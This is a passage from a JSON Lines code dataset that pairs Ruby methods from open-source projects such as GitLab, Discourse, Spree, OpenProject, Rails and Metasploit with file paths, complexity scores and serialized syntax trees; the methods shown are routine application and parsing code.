children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"move\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"move\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"path_with_namespace\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"path_with_namespace\"]}]}]}]}]}","id":"955685d8-c90c-4cd0-98c7-71209ec0ab65"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20210621190335_migrate_pending_users_reminder_delay_setting.rb","start_line":4,"raw_source":"def up\n    setting_value =\n      DB.query_single(\n        \"SELECT value FROM site_settings WHERE name = 'pending_users_reminder_delay'\",\n      ).first\n\n    if setting_value.present?\n      new_value = setting_value.to_i\n      new_value = new_value > 0 ? new_value * 60 : new_value\n\n      DB.exec(<<~SQL, delay: new_value)\n        INSERT INTO site_settings (name, data_type, value, created_at, updated_at)\n        VALUES ('pending_users_reminder_delay_minutes', 3, :delay, NOW(), NOW())\n      SQL\n\n      DB.exec(\"DELETE FROM site_settings WHERE name = 'pending_users_reminder_delay'\")\n    end\n  end","complexity_score":15.28,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"setting_value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query_single\",{\"type\":\"str\",\"children\":[\"SELECT value FROM site_settings WHERE name = 'pending_users_reminder_delay'\"]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting_value\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting_value\"]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"new_value\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_value\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_value\"]},\"*\",{\"type\":\"int\",\"children\":[60]}]},{\"type\":\"lvar\",\"children\":[\"new_value\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO site_settings (name, data_type, value, created_at, updated_at)\\n\"]},{\"type\":\"str\",\"children\":[\"VALUES ('pending_users_reminder_delay_minutes', 3, :delay, NOW(), NOW())\\n\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delay\"]},{\"type\":\"lvar\",\"children\":[\"new_value\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"str\",\"children\":[\"DELETE FROM site_settings WHERE name = 'pending_users_reminder_delay'\"]}]}]},null]}]}]}","id":"2ac7669d-826b-4991-a7fa-fb59c383520c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/load_balancing/sidekiq_client_middleware.rb","start_line":37,"raw_source":"def set_data_consistency_locations!(job)\n          job['wal_locations'] = wal_locations_by_db_name\n          job['wal_location_sources'] = wal_location_sources_by_db_name\n        end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_data_consistency_locations!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"wal_locations\"]},{\"type\":\"send\",\"children\":[null,\"wal_locations_by_db_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"wal_location_sources\"]},{\"type\":\"send\",\"children\":[null,\"wal_location_sources_by_db_name\"]}]}]}]}","id":"146dff41-d950-42af-a91c-f6ba2150a5e0"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/storefront/wishlists_controller.rb","start_line":193,"raw_source":"def ensure_valid_quantity\n            return render_error_item_quantity if params[:quantity].present? && params[:quantity].to_i <= 0\n\n            params[:quantity] = if params[:quantity].present?\n                                  params[:quantity].to_i\n                                else\n                                  1\n                                end\n          end","complexity_score":23.38,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_valid_quantity\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"quantity\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"quantity\"]}]},\"to_i\"]},\"<=\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_error_item_quantity\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"quantity\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"quantity\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"quantity\"]}]},\"to_i\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"0d463a07-9008-410d-9b4b-c1a84abf6fa0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/notification_service_spec.rb","start_line":4945,"raw_source":"def add_users(project)\n    @subscriber = create :user\n    @unsubscriber = create :user\n    @unsubscribed_mentioned = create :user, username: 'unsubscribed_mentioned'\n    @subscribed_participant = create_global_setting_for(create(:user, username: 'subscribed_participant'), :participating)\n    @watcher_and_subscriber = create_global_setting_for(create(:user), :watch)\n\n    project.add_maintainer(@subscribed_participant)\n    project.add_maintainer(@subscriber)\n    project.add_maintainer(@unsubscriber)\n    project.add_maintainer(@watcher_and_subscriber)\n    project.add_maintainer(@unsubscribed_mentioned)\n  end","complexity_score":17.4,"ast_json":"{\"type\":\"def\",\"children\":[\"add_users\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@subscriber\",{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@unsubscriber\",{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@unsubscribed_mentioned\",{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"str\",\"children\":[\"unsubscribed_mentioned\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@subscribed_participant\",{\"type\":\"send\",\"children\":[null,\"create_global_setting_for\",{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"str\",\"children\":[\"subscribed_participant\"]}]}]}]},{\"type\":\"sym\",\"children\":[\"participating\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@watcher_and_subscriber\",{\"type\":\"send\",\"children\":[null,\"create_global_setting_for\",{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"user\"]}]},{\"type\":\"sym\",\"children\":[\"watch\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"add_maintainer\",{\"type\":\"ivar\",\"children\":[\"@subscribed_participant\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"add_maintainer\",{\"type\":\"ivar\",\"children\":[\"@subscriber\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"add_maintainer\",{\"type\":\"ivar\",\"children\":[\"@unsubscriber\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"add_maintainer\",{\"type\":\"ivar\",\"children\":[\"@watcher_and_subscriber\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"add_maintainer\",{\"type\":\"ivar\",\"children\":[\"@unsubscribed_mentioned\"]}]}]}]}","id":"57a34269-012f-4a92-a90f-3b6a6888889b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/compare_helper.rb","start_line":17,"raw_source":"def create_mr_path(from:, source_project:, to: nil, target_project: nil, mr_params: {})\n    merge_request_params = {\n      source_branch: from\n    }\n\n    merge_request_params[:target_project_id] = target_project.id if target_project\n    merge_request_params[:target_branch] = to if to\n\n    project_new_merge_request_path(\n      source_project,\n      merge_request: merge_request_params.merge(mr_params)\n    )\n  end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"create_mr_path\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"from\"]},{\"type\":\"kwarg\",\"children\":[\"source_project\"]},{\"type\":\"kwoptarg\",\"children\":[\"to\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"target_project\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"mr_params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"merge_request_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_branch\"]},{\"type\":\"lvar\",\"children\":[\"from\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"target_project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_project\"]},\"id\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"target_branch\"]},{\"type\":\"lvar\",\"children\":[\"to\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"project_new_merge_request_path\",{\"type\":\"lvar\",\"children\":[\"source_project\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_request\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request_params\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"mr_params\"]}]}]}]}]}]}]}","id":"c9bd46fe-faeb-4b5b-9973-13917e714057"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/ci/trigger_presenter.rb","start_line":7,"raw_source":"def has_token_exposed?\n      can?(current_user, :admin_trigger, trigger)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"has_token_exposed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"admin_trigger\"]},{\"type\":\"send\",\"children\":[null,\"trigger\"]}]}]}","id":"7b0277a2-ab94-4f75-b716-2f9f6a68868b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/feature.rb","start_line":104,"raw_source":"def persisted_names\n      return [] unless FlipperRecord.database.exists?\n\n      # This loads names of all stored feature flags\n      # and returns a stable Set in the following order:\n      # - Memoized: using Gitlab::SafeRequestStore or @flipper\n      # - L1: using Process cache\n      # - L2: using Redis cache\n      # - DB: using a single SQL query\n      flipper.adapter.features\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"persisted_names\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FlipperRecord\"]},\"database\"]},\"exists?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flipper\"]},\"adapter\"]},\"features\"]}]}]}","id":"97658451-4c4a-4d33-9c3f-9ddfbd7f5c99"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/work_packages/date_picker/date_form_component.rb","start_line":99,"raw_source":"def render_today_link(name:)\n        return if duration_field?(name)\n\n        text = I18n.t(:label_today).capitalize\n\n        return text if @disabled\n\n        render(\n          Primer::Beta::Link.new(\n            href: \"\",\n            \"aria-label\": @is_milestone ? I18n.t(\"label_today_as_date\") : I18n.t(\"label_today_as_#{name}\"),\n            data: {\n              action: \"work-packages--date-picker--preview#setTodayForField\",\n              \"work-packages--date-picker--preview-field-reference-param\": \"work_package_#{name}\",\n              test_selector: \"op-datepicker-modal--#{name.to_s.dasherize}-field--today\"\n            }\n          )\n        ) { text }\n      end","complexity_score":16.8,"ast_json":"{\"type\":\"def\",\"children\":[\"render_today_link\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"duration_field?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"label_today\"]}]},\"capitalize\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@disabled\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Primer\"]},\"Beta\"]},\"Link\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"aria-label\"]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@is_milestone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"label_today_as_date\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"label_today_as_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"work-packages--date-picker--preview#setTodayForField\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work-packages--date-picker--preview-field-reference-param\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"work_package_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"test_selector\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"op-datepicker-modal--\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]},\"dasherize\"]}]},{\"type\":\"str\",\"children\":[\"-field--today\"]}]}]}]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]}","id":"cf8ba621-deaf-45d6-ae9b-2957c5dfaf05"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bitbucket/representation/comment.rb","start_line":6,"raw_source":"def author\n        user['uuid']\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"author\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"uuid\"]}]}]}","id":"6baa9809-b9cc-4c3e-8ce9-ebcb0aa567a8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/post_merge_service.rb","start_line":100,"raw_source":"def create_event(merge_request)\n      # Making sure MergeRequest::Metrics updates are in sync with\n      # Event creation.\n      Event.transaction do\n        merge_event = create_merge_event(merge_request, current_user)\n        merge_request_metrics_service(merge_request).merge(merge_event)\n      end\n    end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_event\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Event\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"merge_event\",{\"type\":\"send\",\"children\":[null,\"create_merge_event\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request_metrics_service\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"merge_event\"]}]}]}]}]}","id":"887d8ad0-ca18-46ee-a988-ebe29027fc45"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/matchers/exceed_query_limit.rb","start_line":220,"raw_source":"def strip_marginalia_annotations(logs)\n    logs.map { |log| log.sub(MARGINALIA_ANNOTATION_REGEX, '') }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"strip_marginalia_annotations\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"logs\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logs\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"log\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"sub\",{\"type\":\"const\",\"children\":[null,\"MARGINALIA_ANNOTATION_REGEX\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"336e0ee9-0d60-4973-8b90-631a3b60f5b4"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/presenters/spree/filters/price_range_presenter.rb","start_line":20,"raw_source":"def to_param\n        \"#{min_price.to_i}-#{max_price.to_i}\"\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"to_param\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"min_price\"]},\"to_i\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"max_price\"]},\"to_i\"]}]}]}]}","id":"f7d11023-98e6-4e0e-b153-aac871aca347"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/references/label_reference_filter.rb","start_line":92,"raw_source":"def find_labels(parent, absolute_path: false)\n          params = label_finder_params(parent, absolute_path)\n\n          LabelsFinder.new(nil, params).execute(skip_authorization: true)\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_labels\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent\"]},{\"type\":\"kwoptarg\",\"children\":[\"absolute_path\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[null,\"label_finder_params\",{\"type\":\"lvar\",\"children\":[\"parent\"]},{\"type\":\"lvar\",\"children\":[\"absolute_path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LabelsFinder\"]},\"new\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},\"execute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_authorization\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"16171559-38a9-4eea-9d21-cc0d7a81fa7a"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/team_planner/spec/support/pages/team_planner.rb","start_line":342,"raw_source":"def expect_wp_not_draggable(work_package)\n      expect(page).to have_css(\".fc-event:not(.fc-event-draggable)\", text: work_package.subject)\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_wp_not_draggable\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\".fc-event:not(.fc-event-draggable)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"subject\"]}]}]}]}]}]}","id":"20d08fba-55c3-41c8-a3d1-32deac91a5f2"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/commands/credentials/credentials_command/diffing.rb","start_line":32,"raw_source":"def ensure_diffing_driver_is_configured\n    configure_diffing_driver if enrolled_in_credentials_diffing? && !diffing_driver_configured?\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_diffing_driver_is_configured\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enrolled_in_credentials_diffing?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"diffing_driver_configured?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"configure_diffing_driver\"]},null]}]}","id":"52feaba1-09d9-4dca-bf29-d678be9370b0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/support/system_logs/kibana.rb","start_line":54,"raw_source":"def end_time\n          Time.now.utc.iso8601(3)\n        end","complexity_score":3.9,"ast_json":"{\"type\":\"def\",\"children\":[\"end_time\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]},\"iso8601\",{\"type\":\"int\",\"children\":[3]}]}]}","id":"8fdaa801-c93e-417f-a5d2-dbb262cd8235"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/snmp/varbind.rb","start_line":505,"raw_source":"def decode(data)\n            varbind_data, remaining_varbind_data = decode_sequence(data)\n            name, remainder = decode_object_id(varbind_data)\n            value, remainder = decode_value(remainder)\n            assert_no_remainder(remainder)\n            return VarBind.new(name, value), remaining_varbind_data\n        end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"decode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"varbind_data\"]},{\"type\":\"lvasgn\",\"children\":[\"remaining_varbind_data\"]}]},{\"type\":\"send\",\"children\":[null,\"decode_sequence\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\"]},{\"type\":\"lvasgn\",\"children\":[\"remainder\"]}]},{\"type\":\"send\",\"children\":[null,\"decode_object_id\",{\"type\":\"lvar\",\"children\":[\"varbind_data\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\"]},{\"type\":\"lvasgn\",\"children\":[\"remainder\"]}]},{\"type\":\"send\",\"children\":[null,\"decode_value\",{\"type\":\"lvar\",\"children\":[\"remainder\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_remainder\",{\"type\":\"lvar\",\"children\":[\"remainder\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VarBind\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"lvar\",\"children\":[\"remaining_varbind_data\"]}]}]}]}","id":"0056ce0d-09e3-47f1-b505-c1d620123a6f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/deploy_keys_project.rb","start_line":20,"raw_source":"def destroy_orphaned_deploy_key\n    return unless self.deploy_key.destroyed_when_orphaned? && self.deploy_key.orphaned?\n\n    self.deploy_key.destroy\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy_orphaned_deploy_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"deploy_key\"]},\"destroyed_when_orphaned?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"deploy_key\"]},\"orphaned?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"deploy_key\"]},\"destroy\"]}]}]}","id":"810fa77c-09bc-4c00-a0c4-b1a98c20da0d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/component/project_selector.rb","start_line":22,"raw_source":"def select_project\n          wait_until(sleep_interval: 2, reload: false) do\n            has_element? 'project-list-item'\n          end\n          click_element 'project-list-item'\n        end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"select_project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wait_until\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sleep_interval\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reload\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"has_element?\",{\"type\":\"str\",\"children\":[\"project-list-item\"]}]}]},{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"project-list-item\"]}]}]}]}","id":"3960c645-ef5d-45c8-890b-3506e5396240"}
